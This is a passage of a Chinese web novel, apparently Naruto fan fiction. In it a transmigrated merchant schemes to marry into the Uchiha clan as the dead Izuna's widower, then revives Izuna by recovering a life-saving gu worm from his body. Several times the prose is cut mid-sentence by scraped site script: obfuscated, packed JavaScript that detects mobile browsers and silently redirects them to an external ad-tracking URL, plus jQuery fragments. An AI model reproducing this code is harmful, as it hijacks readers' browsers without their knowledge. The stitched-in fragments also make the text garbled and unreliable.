如此,在这种时候也愿意嫁进去的人,作为宇智波泉奈的未亡人,不管是在这位族长还是宇智波家族的地位都是尤为特殊的! 他都能想到利用这个身份能给自己的商会谋取多大利益了!战国时代对商人最麻烦的一点就是运输成本尤为高昂,不管是劫道的匪徒还是浪忍,没有相应的武力,货物就会打水漂,生意也变得难做。 而如果有宇智波家族的庇护,再稍微运转一下,有这么一个大忍族做靠背做支撑,运输成本大大降低,他就能用比其他商人要低廉的价格将货物卖出去,更甚至卖的更远。 摆在面前的就是发家致富的大版图,暴富之路在朝着他摇手,生命安全也有保障,梦寐以求的生活就在眼前……会放过这个机会就是大傻子! 不过是嫁给一个死人而已,不过是入赘而已,算个事吗?不算! 他就不信了,凭借他的本事,难道还不能让面前这位宇智波族长将对自己弟弟的亲情移情到他身上吗?! 反正宇智波泉奈都死了,总不能爬起来拆穿这个误会吧! 宇智波斑怔愣的看着面前的人。他原以为像安池宫这种擅长计较得失的商人,在知道交往的人已经死亡之后,应该是即刻与泉奈撇清干系的。 他见过太过丑恶的人性,而安池宫就算是因此和泉奈划清界限,他也觉得这是正常之事。世道如此,对方只是为了自身考虑而已,没什么好奇怪的。 可他完全没想到,安池宫竟然都这样了,还想要入他们宇智波家。 他们可是忍者家族。 作为普通人应该知道,入赘忍者家族是一件多么严重的,对自身没有半点好处的事情。忍者在普通人心中的地位,就犹如恶鬼一般,就算不乏为了安全雇佣忍者的人,但普通人与忍者之间的隔阂也是一直存在的。 如非必要,是不会和这类人扯上干系。 作为一名商人,对方应该很清楚这一点。光是和一名忍者交往,还是同性之间的交往,传出去就已经足够惊骇世俗。更别说明知道对方已经死了,还执意入门。 想到弟弟为了对方,期待了那么久,更甚至连那座小院的一摆一设都是亲自监工。而给对方准备的每一套族服,也都是自己亲手画图,每一套都要细心检查,让裁缝改了又改,只为了能讨对方欢心,希冀着对方穿上时的模样。 如不是这么明显,宇智波斑也不至于发现。 宇智波一族对待感情之事向来认真,认真到被常人认为偏执极端的程度。但他并不指望外族的人能够理解这份沉重的甚至可以称之为窒息的爱意。 可现在……作为外族之人,更甚至作为普通人的安池宫,却有这份不亚于弟弟的深沉爱意,甚至不顾这么做的后果…… 宇智波斑咬牙着,那颗已经不堪重负的心,为弟弟的感情没有被辜负而生出几分动容。强忍着酸涩的道:“既然你已经做出决定,那就走吧。” 听到这样的话,安池宫心中大大的松了口气。 忍者的强大是普通人无法比拟的,所以他事先也调查过许多忍者的事情。得到的情报很杂乱,也从中知道了同性之婚在忍者之间并不算是什么被侧目诟病的事情。 虽然罕见,但干着有今日没明日工作的忍者,大多在感情上面没有普通人那么多讲究。 连能不能活到明天都不清楚,能有个喜欢的互相扶持的对象就不错了,谁还管对方是男是女,能不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156246|164954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孕育后代。 所以他就算是进了宇智波家门,也不会被为难。相反的,在这种时候进门,反而会让宇智波族内对泉奈信重的那些人对他有几分移情的关照。 比如之前见过的宇智波火核和宇智波九梨,都是泉奈的亲信,而且都是精英级别的强大忍者。就算人死如灯灭,可人家哥哥还活着啊,还是族长。 那这份关照能发挥多少用处……他的脑子瞬间就能想出百八十种计策。 既然说要主持泉奈的葬礼,安池宫自然没有拖延,衣服都不换,就是穿了鞋就坐上了宇智波斑召唤出来的忍鸟。 他还是第一次用这种交通工具,心里有几分好奇,也没敢表现出来,而是全程都摆着一副凝重严肃的面容。 就好像是代入了泉奈丈夫的这个身份,在这样的正事面前,为了不被看轻,为了让逝者安息,绝对不能露怯,不能露出丝毫软弱姿态。 ——这才是配得起宇智波副族长丈夫身份的心性! 忍鸟在天空飞掠而过,夜风刮得安池宫面部生疼,他也不吭一声。而坐在他前头的宇智波斑,也是十分安静。 安池宫不管这位新上任的便宜大伯哥是什么心情,他心里已经开始快速的盘算着以后要怎么利用这层身份来实现各种各样之前迫于没有足够武力而不能实施的计划。 商会的进程前进一大步,good! 越想越美,需要死死的绷住面部表情才不会被发现端倪。 栗海城离宇智波族地不远,但就算是有忍鸟来缩短这份距离,也不会三五分钟内就到。安池宫记住了忍鸟飞行的路线,既然要入赘了,以后来回两地的奔波,他总不能连路都不认识了。 但在忍鸟飞过一段距离的时候,他的心跳突然漏了一拍,大脑一震。 这种感觉过于熟悉,是来自身体深处的,某种传递出来的讯号。他不可置信的看着越来越近的,那片夜间也灯火通明的住宅群,瞳孔不受控制的收缩震颤着。 ——是安命蛊! 心跳频率失衡,过度的激动让他的呼吸也开始不稳,冷汗沿着额角滑落,体温也随之升高。 他无法不激动。 当初为了得到3S级的保命道具安命蛊,可是差点将自己折进去。为了得到它,谋算了那么久,就连最后能成功也存在着侥幸的成分。 它也不负自己的付出和期待,拥有安命蛊之后,就相当于拥有无数条命,不仅拥有强于常人的自愈能力,而且不死! 不死才是关键!这代表着他在那个垃圾世界里不管是遭遇多少危险,只要他不死,那他就敢上! 得到安命蛊的那一刻,作为安池宫这个存在才是自由的!不需要谨小慎微,如履薄冰,就算是强于自身的对手,光是磨都能把对方磨死! 就连他当初选择穿越世界,来到这个陌生的异世界,也是仗着有安命蛊保命! 在来到这个世界后,发现安命蛊残缺,象征着获得绝对自由的存在残缺,而无法再给予他不死的庇护之后,只有天知道他那糟糕无比的心境。 就算无数次的安慰自己,比起原来的世界这个世界简直就已经是天堂,但内心深处还是空洞洞的,就连做事都放不开手脚。 可如今,身体那残缺的部分,感应到了遗失的那一半。只要将它找回来,那他在这个世界就不用惧怕任何东西! 那可是真真切切的命根子,是作为末世之人梦寐以求、求而不得的自由啊! 5. 第 5 章 “等等——” 宇智波斑吃惊的看着安池宫在刚靠近族地时,就不管不顾的从忍鸟上面纵身跃下。虽然他在靠近族地时就让忍鸟放低了飞翔高度,但就这个高度对于普通人而言,摔下去不死也要受伤吧! 可安池宫的表现却让他很是吃惊。 对方在跃下之后,一把抽出自己的腰带,套出了下方的树枝,荡着落到了一处屋顶上,身手尤为矫健的在屋顶间跳跃穿梭着。 且目标明确的朝着中央灯火通明,聚集着大量族人的房子奔去。 “什么人!” “是袭击!” 底下的宇智波族人纷纷动员起来。 但已经红了眼的安池宫,压根没把这群忍者的阻拦放在眼里。拔剑出鞘,四面飞来的手里剑被他尽数斩落,迎面过来的忍者,只觉得好像有一道风从眼前袭来,飞驰而来的剑气将他劈飞出去。 忍鸟上面的斑连制止声都没来得及发出,就见到底下那道亮色的身影,犹如月光下的独狼一般,将所有阻挡在面前的忍者都扫飞出去。 他的速度太快,就像是一道难以捉摸的闪电,难以想象一名普通人竟然会有如此的速度,甚至连忍者都追不上。 手里剑、起爆符,就连火焰都被他精准的躲过。在看到一名族人要施展幻术时,斑才如梦初醒的召唤出须佐能乎,一巴掌将人按下去。 厉声说:“不许动他!那是泉奈的丈夫!” 被按得死死的族人,连同周围一群已经快结好印的宇智波们:……??? ——?!! ——泉奈大人什么时候跑出一个丈夫来了!!! 大半个族地因为一个人的缘故而混乱非常,而斑的大嗓门也喝住了一大批应激的宇智波。他们眼睁睁的看着一道亮光就那样闯入了象征宇智波最高权力的会堂之中,并把守在门口的两名族人一剑拍飞。 守在堂内,守着泉奈尸体,等着族长到来好进行入殓仪式的几名长老,看到这般乱来闯进来的人,还未看清对方的身影,其中一人已经满腔怒火的开启了写轮眼。 一旁看清安池宫面容的九梨连忙扑上去将这名长老压在身下。 因为这个变故,而行动有些滞缓的堂内之人,眼睁睁的看着这个冒失的不明人士,一个箭步的冲上前,手里的剑随手一抛,刺入摆在中央的白色棺木之中,锋利的剑直接没入了厚实的木料,将之扎穿徒留剑柄在外。 而摆放在垫子上的,穿着白色和服,用白布蒙着眼睛的泉奈的尸体,被一道亮色的身影覆盖。 来者没有破坏尸体,但做出了比之也没好到哪里去的行为。 堂内的人目瞪口呆的看着这个人扑在泉奈的身上,一头亲了下去。嘴对嘴,十分精准,都能听到牙齿碰撞的让人牙酸的声音。 “安老板!” “安池宫!” 堂内的火核惊诧的喊了一声,而后头率着大批族人赶来的宇智波斑也喊出了对方的名字。 并齐齐步入了其他人的后尘,失语症发作般的瞳孔地震的看着这一幕。 宇智波斑:…… ——不是,你不是来主持泉奈葬礼的吗?! ——就算是要用亲吻做道别好了,也没必要搞出这么大的动静吧!但凡说一声,我也会挥散堂内所有人,让你亲个够好不好!!! 安池宫才不管其他人是什么心情,他现在脑子里就只想着怎么把至关重要的安命蛊给弄回来。 他怎么知道另一半的安命蛊竟然会在泉奈体内啊!明明认识了半年时间,对方体内的安命蛊跟死了一样的安静,典型的有了新欢就不要旧爱。 现在新欢死了,倒是知道跑出来呼唤他这个旧爱了!那他能怎么办,当然是选择原谅啊! 这是渣蛊吗?不是,这是他的N条命啊! 难怪他以前就觉得泉奈这小子明明是个忍者,身上却香香的,问对方是否擦了香粉后还被狠狠瞪了并严词否认,还被嘲讽一波加红眼警告。他想着好歹是个专业的忍者,确实不应该会犯下擦香粉这种容易被识别的错误。 就算犯了那也是人家艺高人胆大,一边想着臭美另一边还不想被揭穿。那他干脆就当做没这回事不再提起。 而除了好闻到让他想舔一口的香气外,偶尔笑起来的样子也让他心跳加速,恨不得把所有好东西都摆在他面前多笑笑。 肯定是有原因的。 原因就是安命蛊想脚踏两条船,有了新欢后还在勾引他,想和他藕断丝连! 好在最后他赶上了。不然回头还得挖坟,想也知道这种事他敢干,也没命承受整个宇智波一族的怒火。 安命蛊怎么拼回来,安池宫没有经验,但有些事压根就不用教,既然东西在泉奈体内,那吸出来就对了! 能吸的地方不就只有一个吗?! 安池宫满头大汗的,努力牵动着体内躁动着的另一半安命蛊,试图感应泉奈体内的另一半。好在对方体内的那一半有心回应,还很是积极。 这种时隔一年之久的,终于感应到的奇妙之感,让安池宫的大脑都有些昏沉。他全神贯注的催动着体内的那一半安命蛊,恨不得立刻就将它们拼起来。 等拼好了,就算没有宇智波的庇护,他也无所畏惧了。靠别人哪里有靠自己保险! 他是怕死没错,谁不怕死。出生的世界光是活着就已经艰难,怕死是每一个末世之人的本能,而糟糕的现状又逼迫他们只能够压下这股本能去直面没完没了的危险。 但只要有安命蛊,他就可以完全放飞自我,什么都不怕了! 泉奈体内的安命蛊很配合,安池宫觉得对方应该也是想要离开泉奈的身体,他明显能感应到对方体内被催动的安命蛊,与他体内的互相感应,眼见着就差最后一点了,就连身下那已经泛着不详凉意的身体都因为安命蛊的作用而发热。 眼见着要拼回来了,已经浑然忘我,完全忽略周围的安池宫,突然被一只手用力的掐紧了脖子,心口一痛,被一脚踹飞了出去。 好在安池宫的身手还没有退步到一定程度,当即拔出剑鞘,尾部扎进地板之中,双脚连连在地面摩擦了好几步,才稳住了身形。 他惊讶的看着袭击自己的人。 原本还直挺挺躺着的人,已经坐起身,盖住眼睛的白布滑落,一双猩红色的的眼睛,瞳孔里闪现的几何图案都透着浓浓的不详气息。 一脸愠怒的人,在看清安池宫之后,脸上的怒气就像是凝固住一般,就连刚冒出点星火的黑色火焰,也随之消失无踪。 “……池宫?” 泉奈愣愣的看着面前这个半跪,用剑鞘支撑身体的金发男人。 对方看着自己的表情跟见了鬼没两样。 泉奈迟钝的扫过周围,其他人看着自己的表情也和见了鬼没两样。 方才差点就用写轮眼招呼安池宫的长老,傻愣愣的看着突然醒来的泉奈,眼睛盯着对方的眼窝,强烈的情绪波动之下,自身的那双三勾玉快速旋转着,融合成了一个新的几何图案。 也让她能够看清并无比确定——明明已经死去的宇智波泉奈复活了,而且那原本移植给宇智波斑的双眼,原本只剩下两个空洞洞眼窝的位置,竟然重新生出了眼睛,而且还是万花筒! 长老看了看泉奈,又看了看安池宫,很是艰难的咽下自己要询问眼睛的冲动。 毕竟泉奈的眼睛移植给族长这件事只有极少数的族内核心人员才知晓。 现在的问题是—— “泉奈——!” 宇智波斑冲到了泉奈面前,带着几分痴愣的紧紧抱住这个失而复得的弟弟,感觉到相贴的胸口传递过来的心跳,还有对方身上的体温之后,再也控制不住的,眼泪汹涌而出。 “泉奈——泉奈!” 除了呼唤对方的名字之外,什么话都说不出来。 泉奈眨了眨眼,到底还是等斑稍微冷静一点之后,轻轻推开他。然后看向了还没回神的安池宫。 “池、安老板,你为什么会在这里……还有……” 泉奈很清楚自己已经死了。临死之前用了最后的查克拉,与对方来了一场单方面的告别。 但他怎么都没想到自己竟然会重新醒过来,就连视力都没有阻碍,他的万花筒依旧在身上,而斑哥的眼睛图案已经改变,显然已经融合了他的眼睛转化成永恒万花筒。 但既然已经融合了,为什么他还会有第二双万花筒? 不,现在问题的重点是——他怎么就复活了呢? 而且刚才……那个想要杀死的轻薄自己的人是安池宫? 他的大脑飞速的转动着,清醒下来的大脑很快就意识到——肯定是安池宫做了什么。 如果族里的人有本事让他复活,完全不用等到现在。 安池宫只是瞪大眼睛的看着泉奈,对方问他… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156247|164954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …他才想问回去呢。 安命蛊那个渣蛊这是压根没想着回来找他这个旧爱,而是让他这个旧爱救他的新欢! 安池宫没回答,但已经冷静下来的斑随手擦了擦眼泪,说道:“是我带安池宫来的。他不是你的恋人吗?我知道你肯定想让他送你最后一程……不过现在不用送了。” 泉奈能想到的事情,斑缓了一下也想到了。他心情十分复杂,带着几分微妙的看向了安池宫。 泉奈能复活,肯定和安池宫有关。对方刚才展现出来的不亚于忍者,更甚至超过一般精英忍者的体术和速度,就说明对方不可能是个真正的普通人。 但他确实没有查克拉。 没有查克拉不说,还有本事救活泉奈! 安池宫:“……” 他眼前一黑。 更黑的是,他听到了泉奈波澜不惊的声音。 “恋人……?” 大脑充血的安池宫,视野是一片模糊,强烈的耳鸣一阵一阵的,让泉奈的声音听起来都有几分失真。 但安池宫觉得泉奈说这话的时候,表情一定十分森然恐怖。 他仗着对方死了,想靠着入赘宇智波家来获得庇护。结果人家诈尸了,那这个误会……嗯,完蛋了,各种意义上的完蛋。 必须要做点什么才行。 就算人诈尸了和自己有关系,但一码归一码,本来他们两个顶多就算是友情未满,死了之后发现对方竟然对自己有觊觎之心…… 都要嫁给作为死人的他了,还能没有觊觎之心吗?不管是谁看来都觉得自己觊觎这小子许久好不好! 这小子平日里总是嫌弃自己的衣着打扮,还嫌弃他自来熟不着调的性子,一副清心寡欲坚定的恋爱绝缘体,势要捍卫单身狗阵营一辈子的模样。 每次萌生点想撩的心思时都会被对方的单身狗气息逼退。 现在这小子知道有个男的趁着自己死了要跟他结婚,鬼知道心里会怎么呕他。 就算是有救命之恩,但这种事肯定会留下芥蒂。 安池宫撑过了大脑充血的那片刻恍惚,立身站了起来,心虚的不去看泉奈的脸,而是面无表情的拍了拍身上的尘土,平静的道:“既然你已经活过来了,那我就先走了。还有,我们当然不算是恋人,其余的事情去问你哥吧。” 没错,恋人这个误会是来自你哥的。要算账去找他! 安池宫说完,趁着泉奈没反应过来之前,恼怒的瞪着他,一双湖绿色的眼睛眼周发红,在怒火之下,眼眸深邃得就像是黑夜下的湖面一般,幽幽泛着黑光。 “恋你个鬼!我们绝交了,你这个渣男——!” 他气冲冲的一边用手背擦着嘴唇,一边朝着大门的方向大步流星的走去,一把推开挡在面前的几个宇智波,还刻意重重的哼了一声,头也不回的走了。 满堂寂静。 刚亲眼看到位高权重、沉稳禁欲的副族长尸体被外人轻薄,而那个外人还是族长亲口承认的对方的丈夫。 先不提这丈夫是哪里冒出来的,就又看到已经确定死亡,都准备入殓的副族长又活了过来。 活过来了不说,明显是做了什么复活了死者的,这位副族长的丈夫,就因为副族长的话而暴怒,恼羞成怒的要和对方分手,划清界限。 这、这就算是身经百战的宇智波一族,也觉得这接二连三的刺激过于刺激。 石化的宇智波们:…… ——街头话本都没这么刺激好不好! “安、池宫你等一下——!”泉奈足足愣了一分多钟才回神,他大致上猜出了安池宫为什么会生气,而‘恋人’这个称呼又是怎么来的。 肯定是自己兄长把安池宫带过来,而且还说了他们二人是恋人的话。 虽然还是有很多搞不清楚的问题,可当务之急是——总不能让他这样盛怒之下离开吧! 还没交往就绝交什么的,对于一个刚复活的人来说是不是太不友好了! 泉奈想起身去追,刚站起身,就见到对方折返回来。 虽然还臭着脸,但耳朵却是红彤彤的,别别扭扭的别开脸,视线看着天花板的位置,闷声说道:“那个……谁送我回去?总不能让我走着回去吧,我又不认识回城的路。” 泉奈:= = 斑:= = 其他人:= = ——这、这可真的是很现实的难题了。 6. 第 6 章 作为一个刚发完脾气负气离开的人,因为这种理由又不得不折返。屈辱的现实问题让安池宫憋得眼尾通红,看天看地就是不看屋内所有的忍者。 宇智波:“……” 啊,有一种如果这时候说错一个字他肯定会哭出来的感觉。明明什么都没做,但莫名就有一股强烈的心虚感。 宇智波一族欠了对方一个大恩情。 自然是恩情,宇智波泉奈不仅是他们家族的副族长,受依赖的谋士,最重要的战力之一,同时也是族长的最强辅助,是沟通族长与族人们的安稳桥梁。 天知道他们族长可凶可固执了,就只有泉奈大人才劝得住他,少了泉奈大人的话,一旦族长的性格走了极端,全族人的日子都会变得很难过。 族长家本来是五兄弟,现在就只剩下泉奈大人一个弟弟了,其重要性可想而知——就宇智波的正规亲情标准,百分百会走极端的啊! 况且族长都说了这人是泉奈大人没过门的丈夫,刚才泉奈大人确实是没有否认什么恋人的说辞,如此一看还不够明显吗? 刚复活的时候以为自己被轻薄,天照都出来了,看到轻薄自己的人是谁之后,那火苗咻的一下灭得比什么都快!生怕收慢一步就把人烧到了! 宇智波一族的人不说个个都是人精,在感情方面的嗅觉还是比常人强的。现在喊着要和泉奈大人分手的人,迫于现实理由不得不回来求助,能屈能伸这一点是让人佩服啦,但现在场面就很尴尬了。 作为忍者什么样的人都见过,流血流泪就算是直面死亡也从没怕过……但这种类型的人还真的是第一次见。 细皮嫩肉娇娇气气的,一看就是从小没受过苦头。只能说安池宫性格和长相太具备欺骗性,让许多宇智波下意识忘记了刚才这个人勇闯宇智波族地的会堂,愣是没一个人拦得下来。 在这样无言的沉默之中,迫切的需要一个打破僵局的人。最差的人选是泉奈大人,因为作为纠纷的当事人之一,有脑子的人都知道让他先开口肯定会让安池宫有应激反应。 最好的人选是他们的族长宇智波斑,但斑看了看安池宫,又看了看身边的泉奈,显然不知道该做什么。 族人面上不敢说他,却一个个在内心咆哮:……族长您就不能长张嘴吗?! 长着一张最好看的宇智波脸,顶着最强的战力头衔,关键时刻您倒是张嘴啊!别想着这时候让泉奈大人继续当嘴替脑替啊!弟弟不是这样用的啊! 这可是关系到泉奈大人后半生幸福的大事啊! 好在,勇士站出来了。宇智波九梨虽然和安池宫接触的机会不多,但他们关系还不错,而且九梨心思细腻,还是摸出了几分安池宫的性子。 于是她深吸口气说道:“安老板,现在天色晚了,就算送您回家,也该过了午夜十二点。不如就在这边住下吧。” 其他人:? 十二点是什么能劝动人的理由吗? 安池宫皱眉,看起来确实不像是能接受这个理由的样子,但九梨祭出了神器——“您不是说过吗?男生基本二十岁之后就停止发育,只剩下不到一年时间,不能在十二点前保证睡眠的话,就没继续长高的希望了。” 安池宫:?! 这是一个非常严重的问题。他现在一米八五,虽然在这个时代已经算得上很高的,走在街上也算是鹤立鸡群的存在。 在场这些忍者能比他高的也就零星几个。 但有些事不能这么算的,在他的原生世界里,成年男性的平均身高是一米八五。生性要强的他肯定不乐意做折中的那一批,至少再长个一厘米才能甘心。 安池宫下意识忽略掉这个平均身高是那个世界被高维势力入侵之前的标准,在末世之后即便是有营养液提供,平均身高也在下降。作为末世降临世界秩序破坏后才诞生的人,他实在没必要遵循这个标准。 他看向一脸真诚的九梨,面上毫无波澜,伸手进兜的手指却在微微颤抖,从兜里掏出了一个金怀表,颤巍巍的打开一看,是晚上十一点二十三分。 呼—— 大松口气的样子。他将怀表塞进兜里,故作冷静的说:“三十六分二十一秒四毫秒还不够送我回家吗?”来的时候都没花这么多时间。 “不能,您也看到现在我们家族是什么情况。虽然葬礼不用举行了,但是……您刚才一路损坏了很多东西,暂时没有人手可以送您回去。” 安池宫回忆了一下他造成的破坏,他觉得这个‘罪名’不对,因为很多其实是这些忍者阻拦他时自己造成的破坏。但他确实一路上弄坏了很多房子——可谁让他们建房都用木头啊,木头本来就很脆啊! 但想到若不是他感应到安命蛊之后过于激动,其实有宇智波斑带着他的话,完全可以不造成任何损坏的进入这里。那时候也来得及把安命蛊…… 不,那个可恶的渣蛊已经正式投入新欢怀抱,还贪心的拉着他这个旧爱想享齐人之福! 他磨着牙,恨不得将安命蛊用牙齿磨碎。咬牙切齿的说:“我·赔!工人明早就会送过来!” 九梨当然不能应这话。“不行,宇智波家不接受外人进入。就算您赔了,房子和路该修还是得尽快修,不然明天族里的小孩起床了不小心绊倒受伤了怎么办?” 安池宫啧了一声,一脸嫌弃:“所以小屁孩这种麻烦的生物……” 其他人:= = 虽然没想到会是这个发展,但看起来态度已经松动了很多。机灵的大人已经悄悄的将人群里的小宇智波拉到自己身后,务必不要被安池宫发现他们还没睡觉。 在三岁的忍者已经能上战场的时代,在场的诸多小宇智波第一次发现原来他们还处于能被称为小屁孩的年纪。 但安池宫还是不太甘心:“没有床我睡不着,那还不如超时回家。” 这群忍者一看就是睡榻榻米的,他已经睡够地板了,没道理来到新世界还要忍受这一点。 九梨:“有床哦,泉奈大人新建的院落刚好摆了床,还没人睡过,被褥是丝绸质地全新的,不会委屈您。” 安池宫疑惑的看向泉奈。泉奈眼神闪烁了一瞬,但也是点了头肯定了这个说辞。 安池宫确定是真话后,心里那点疑惑也就烟消云散。 泉奈想改善生活条件那是人家的事,说不准是觉得他卧室里的床躺起来舒服就被安利到了呢?之前有一次这小子顶着一双黑眼圈来找他的时候,自己好心提供了床,对方确实睡得很香的样子。 说实话他也不指望这些人真的能简单的放他离开这里。 死者复生这种事,任谁见了都恨不得寻根究底的问个清楚明白。他刚才故意发脾气,不就是为了让自己不要丧失掉全部的主导权么? 忍者刑讯那一套他就算是没见过也是听闻过。 弄点主导权,加上救命之恩是实打实的,待会不至于直接被关小黑屋。 就算安命蛊现在已经是合格的渣蛊了,但至少也让他重新拥有不死的力量,可就算不死,他还是不喜欢这种疼痛。 安池宫没立刻回应,九梨误以为他还不满意,于是继续道:“是两米的大床。” 安池宫:?! 心动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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副族长生气的时候也老可怕了好不好,重点是他一生气族长也跟着生气,全族就找不出一个能劝得住的! 两米大床对安池宫确实挺有吸引力的,因为他自己卧室的床只有一米八,因为房子格局就那样,加宽的话就显得窄了。 但他并没有表现得很急切,而是故作矜持的道:“这样是不是不太好。听起来泉奈先生也没有用过,我一个外人——” “不,这样很好——”突然爆发的齐声响,差点没把安池宫吓一跳。 扭头一看,几乎所有宇智波的族人都开口了,一个个绷着脸很严肃的模样,还十分统一。就好像是在宣誓着什么一样。 安池宫心中纳闷,就算九梨这么说是为了让他能顺势留下来,待会好问话。那这些人这么统一做什么?难不成他们家族平日还有这种服从性训练? 而且这群人说完之后,一个个还看向了泉奈,更甚至有写轮眼的都开了眼,气氛一下子就紧张起来。 泉奈,硬着头皮的点了点头,终于找回了自己的声音:“你现在也不算是外人,自然可以使用。” 安池宫眨了眨眼。 ‘不是外人’的意思是,待会就不会有小黑屋了么? 救命之恩和起死回生之术,对很多人而言后者的吸引力更大。而救命之恩又是很难还清的债,大把人为了不报恩反过来坑害恩人,不坑死不罢休。 人性有多么丑恶,他再清楚不过了。 但是…… 看来这个救命之恩在宇智波家是真的够分量,这个家族还挺好也重视恩情,这也算是和宇智波搭上线了吧。 想通这一点,他这才满意的眯起双眼,开心的露出一个明媚灿烂的笑脸:“既然你都这么说了,那就谢啦~” 泉奈:…… 其他人:…… ——也没必要笑得这么闪。 定力不足的都忍不住悄悄红了脸。 虽然宇智波是不乏美人没错,但这么闪的大美人还是第一次见。 7. 第 7 章 作为当事人的两人急不急,旁人暂时看不出来。但在场除了宇智波斑和泉奈以外的忍者们还是挺急的。 理由很简单,他们宇智波家是真的有极端黑化的基因啊! 家族遗传的血继限界写轮眼,是需要受到很大的刺激才能开启。写轮眼分一勾玉、二勾玉、三勾玉和万花筒。每个等级需要的刺激度是呈指数增加,尤其是万花筒写轮眼,基本就是死了至亲挚爱才能开。 他们的族长和副族长就是因为亲眼目睹前族长的死亡,内部骤然失去主心骨面临的人心不稳加上外部千手施加的压力,内忧外患之下才同时开启了万花筒。 那个时候的二人,一个才二十岁,一个才十五岁。 写轮眼是宇智波一族的骄傲,是他们立足忍界的根本,但他们也不能否认,因为这种负面的刺激才开启的写轮眼持有者的性格也会相应变得偏激起来。而万花筒持有者就更不用说了,一个弄不好很可能造成无法挽回的后果。 简单来说,实力越强就容易疯。 本来在泉奈死后这群族人就担心族长会受不住打击而黑化。现在泉奈活过来了,大家还没来得及高兴,对方又面临感情危机。 这刺激是真的一眼看不到头啊!不急都不行! 现在看安池宫的态度是大有软化,这群族人就跟刚面临过一场生死决战一般,有些人的衣服就跟刚从水里捞出来的没两样。 既然人暂时稳住了,其他族人也识趣的走出会堂,倒是没有离开,而是守在外头。 会堂内除了安池宫,还有宇智波斑、泉奈和两女一男三名长老。其中也包括了刚才差点就对安池宫发动写轮眼的树希长老。 九梨跟火核也在,火核是族长一脉的亲信,前五的强者,在族内地位可见一斑。九梨刚才立了大功,留下她还能预防着接下来可能需要安抚安池宫的情况。 虽然被这么多人盯着看,安池宫也不是被吓大的,没什么仪态的盘坐着,斜着身板弓着腰,单手撑着腮帮子,懒洋洋的说:“要问什么就抓紧点吧,我看你们确实挺多事要忙的。” 他意有所指的看了眼屋外黑压压的人头黑影,木制的房子,纸糊的窗门,屋内灯火通明,外头站着人都能看见。 他看起来并不觉得这些忍者守在外头是为了防他逃跑,本来还担心他会误会的树希长老心下一松,对安池宫也越发顺眼起来,就连眉梢都带着几分柔色。 说是长老,其实这三人的岁数都不算很大,在平均寿命只有三十岁的忍界中,最年长的树希长老也才四十六岁,正是壮年时期。 她感觉到屋内其他人朝着她投来的隐晦视线,只是默不作声的抬手压了压,示意待会再谈。 因为泉奈死而复生且万花筒也重新长出来的缘故,亲手给两兄弟移植眼睛的树希长老,在这种强烈的精神刺激之下当场觉醒了万花筒。 虽然这种觉醒的理由打破了以往觉醒的各种缘由条件,但也算不上是什么大问题。 树希长老原本就担心宇智波斑会因为弟弟的死亡而越发偏激,而且少了宇智波泉奈这个强大的战力和谋士,会让宇智波一族在对抗千手一族之中落于下风。即便是斑现在有了永恒万花筒,始终还是吃亏的。 毕竟不可忽视的是,千手柱间确实比斑要强一点。就算有了永恒万花筒,但拥有木遁和仙人体质的千手柱间身边还有一个棘手的千手扉间做辅助。 两族的仇恨本来就不可调和,但这次挫败,势必会加深族内本就存在的厌战情绪,若是之后的交手还落于下风,她几乎可以预见到未来会发生什么样的悲剧。 所以泉奈能活过来,而且还再次拥有万花筒,树希长老不可能不激动。这代表着她所忧心的那些事情,全都迎刃而解。 素来高冷的树希长老难得柔和面色,温声细语的道:“你的名字是池宫是吧?姓安?” 既然这些忍者都准备好好谈,而不是一上来就摆架子武力胁迫,安池宫也不是那种不识趣的人。他直起上身,双手插袖的说:“不哦,就叫安池宫。我是没爹没娘的孤儿,没有姓那种东西。” “这样啊……”树希长老有些意外,因为安池宫看起来就不像是普通人家能培养出来的孩子。写轮眼拥有复制、催眠和观察的能力,洞察力远超过寻常人,虽然不至于到读心术的程度,但也能从他人的面部表情和行为轨迹轻易的看穿是否在撒谎。 她看得出来安池宫没说谎。而安池宫也觉得没必要因为这种事情撒谎。 他也或多或少听说过宇智波一族的写轮眼传闻,而且很多忍者本来就拥有比普通人强的洞察力,在忍者面前撒谎并不明智。 撒谎算什么本事,三分假七分真的话术都会被戳破,九分真一分留白才是正理。 哦,顺带卖个惨,遇到心软的这一招特别有用。 事实证明确实挺有用的,在知道泉奈对安池宫的感情之后,加上双边又有这种渊源,就算是泉奈想走温水煮青蛙的路线,都得被族人催着将人赶紧娶进门。 以前安池宫还能当个普通的商人,出了这种事情,放任他在外头随时可能会遇上危险。毕竟他们离千手家的族地太近了,而世间就没有不漏风的围墙。 也就是说,在安池宫不知道的时候,在场不在场的宇智波都已经直接将对方拉入自家人的范围。 树希长老很少欣赏一名普通人,除去对方这种胆气还有之前展现出来的实力,单是作为孤儿还能将自己的生活经营得这么好,自己把自己养成这副没受过苦头的模样,就已经足够让人叹服。 但安池宫显然不是很想聊他身世的样子,树希长老自然就问起了他们关心的问题:“泉奈能复活,是因为你的原因吧?” 安池宫刚要开口,他早就想好了一番说辞,但树希长老接下来的话又让他愣住:“这样做会对你的身体造成不利影响吗?” 